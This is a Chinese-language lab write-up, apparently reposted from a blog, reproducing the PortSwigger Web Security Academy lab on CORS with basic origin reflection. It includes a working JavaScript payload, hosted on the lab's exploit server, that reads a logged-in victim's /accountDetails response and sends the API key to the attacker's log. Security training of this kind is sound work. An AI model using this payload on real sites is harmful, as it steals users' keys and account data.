CROS跨域漏洞复现分析

发布时间:2024年01月11日

复现环境:bp官方靶场Lab: CORS vulnerability with basic origin reflection | Web Security Academy

复现过程:

首先以普通用户的身份登录系统:

1、靶场环境点击access the lab 和给定账号wiener:peter

2、使用wiener:peter登录系统,可以看到该账户的API key,key作为wiener用户的重要信息

然后以攻击者的视角来复现利用CROS漏洞获取用户的重要数据API KEY:

1、找到返回KEY的路径为/accountDetails,并发现返回包中存在Access-Control-Allow-Credentials: true

2、在请求包中添加Origin: https://example.com,响应包中显示Access-Control-Allow-Origin: https://example.com,说明该网站信任有cookie凭据的其他源。根据这点攻击者可以伪造恶意链接,让用户在登录网站的状态下(即有cookie凭据),点击攻击者的链接,最终获取用户的KEY

3、靶场提供了攻击者的服务器环境,点击跳转到攻击者的服务器上,其中URL:?https://exploit-0afc00e704a810a980b20c1a017c003d.exploit-server.net/exploit,即让用户点击的恶意链接,我们自己在response的body中写javascript代码,从而达到获取用户KEY的效果

4、这段代码的目的是在让用户点击攻击者的恶意链接https://exploit-0afc00e704a810a980b20c1a017c003d.exploit-server.net/exploit的时候,将用户的/accountDetails页面的response打印出来

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

5、最后攻击者查看恶意链接的access log 即可拿到用户的KEY等敏感信息

以上就是以一个实例来展现攻击者利用CROS跨域问题实施攻击的过程。

文章来源:https://blog.csdn.net/Soda_199/article/details/135509732
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。